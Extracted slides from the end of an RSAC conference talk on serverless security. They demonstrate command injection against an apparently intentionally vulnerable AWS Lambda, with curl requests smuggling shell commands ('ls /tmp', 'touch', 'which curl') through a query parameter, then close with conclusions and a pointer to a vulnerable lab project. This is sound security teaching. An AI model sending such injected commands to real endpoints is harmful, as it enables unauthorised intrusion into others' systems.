drwxr-xr-x 21 root root 4096 Feb 8 21:47 ..

-rwxrwxr-x 1 sbx_user1056 490 18334049 Feb 8 22:02 Sparta.lambda.amd64

Let’s see /tmp

Page 131: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/

c?args=ls+/tmp;+sleep+1"

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/pargs=touch+/tmp/

wickettfile;+sleep+1"

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/

args=ls+/tmp;+sleep+1"

> Sparta.lambda.amd64

wickettfile

Lambda Reuse!

Page 132: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

$ curl "https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/

c?args=which+curl;+sleep+1"

> /usr/bin/curl

Could we upload our own

payload?

Page 133: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

XSS, SQLi, … More to come!

Page 134: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

email me if you are interested:

[email protected]

Page 135: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Conclusion

135

Serverless encourages functions as deploy units, coupled with third party services that allow running end-to-end applications without worrying about system operation.

New serverless patterns are just emerging

Security with serverless is easier

Security with serverless is harder

Page 136: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Conclusion (2)

136

Four key areas apply to serverless security

Software Supply Chain Security

Delivery Pipeline Security

Data Flow Security

Attack Detection

New! A very vulnerable lambda stack open source project

github.com/wickett/lambhack

Page 137: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 138: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Let’s talk!

138

James Wickett

[email protected]

@wickett